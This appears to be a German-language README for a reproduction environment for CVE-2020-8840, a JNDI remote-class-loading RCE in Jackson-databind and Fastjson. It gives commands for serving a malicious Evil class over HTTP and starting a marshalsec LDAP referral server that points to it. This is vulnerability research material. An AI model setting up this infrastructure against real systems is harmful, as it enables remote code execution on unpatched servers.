
Jackson-databind Remote-Code-Ausführung-Schwachstelle (CVE-2020-8840) Analyse- und Reproduktionsumgebungscode
Analyse und Reproduktionsumgebung für die Remote-Code-Ausführung-Schwachstelle (CVE-2020-8840) in Jackson-databind.
Das Projekt enthält:
jackson-databind- und Fastjson-Payloadsmarshalsec-0.0.3-SNAPSHOT-all.jarRemote-Code-Ausführung-Schwachstelle (CVE-2020-8840) in Jackson-databind, bei der ein Angreifer die xbean-reflect-Angriffskette (org.apache.xbean.propertyeditor.JndiConverter) nutzen kann, um JNDI Remote Class Loading auszulösen und damit eine Remote-Code-Ausführung zu erreichen.
Die Schwachstelle betrifft sowohl bestimmte Versionen von Jackson-databind als auch Fastjson.
Betroffene Versionen: 2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

Der im Beispielcode referenzierte LDAP-Dienst muss selbst aufgesetzt werden.
WebServer
Starten Sie einen HTTP-Dienst, der die bösartige Klasse bereitstellt (die Evil.java-Klasse ist im Projekt enthalten).
python -m http.server 2222

LDAP-Dienst
Laden Sie das Marshalsec-Tool herunter, kompilieren Sie es als JAR und starten Sie den LDAP-Dienst. Geben Sie die Codebase-Adresse an (den Webserver, der die bösartige Klasse hostet).
Zur Vereinfachung sind die Schritte zum Herunterladen und Kompilieren nicht notwendig; im Projekt ist ebenfalls marshalsec-0.0.3-SNAPSHOT-all.jar enthalten (die Projektdateien sind nicht umfangreich, Hauptgrund für die Größe ist diese JAR, kompiliert mit JDK8).
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil

Betroffene Versionen: Fastjson <= 1.2.62
Die Reproduktionsumgebung ist identisch mit der obigen; Webserver und LDAP-Dienst müssen selbst gestartet werden.
